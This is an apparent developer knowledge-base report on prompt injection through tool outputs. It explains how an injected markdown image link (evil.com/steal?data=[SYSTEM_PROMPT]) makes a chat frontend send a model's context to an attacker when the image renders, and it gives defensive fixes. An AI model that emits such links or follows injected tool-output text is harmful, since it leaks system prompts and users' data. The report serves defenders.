Report #65792
[gotcha] LLM leaks sensitive context via markdown image links
Disable markdown rendering for LLM outputs in your frontend, or strip image tags/URLs containing query parameters. Route all external image requests through a proxy that drops query strings and blocks arbitrary domains.
Journey Context:
If an attacker injects '\!\[alt\]\(https://evil.com/steal?data=\[SYSTEM\_PROMPT\]\)' into a tool output, the LLM might include it in its response. Developers focus on text safety but forget that rendered markdown triggers automatic HTTP GET requests. When the frontend renders the chat, the browser silently exfiltrates the LLM's context \(including system prompts or user data\) to the attacker's server via the URL query parameters.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T16:54:41.703895+00:00— report_created — created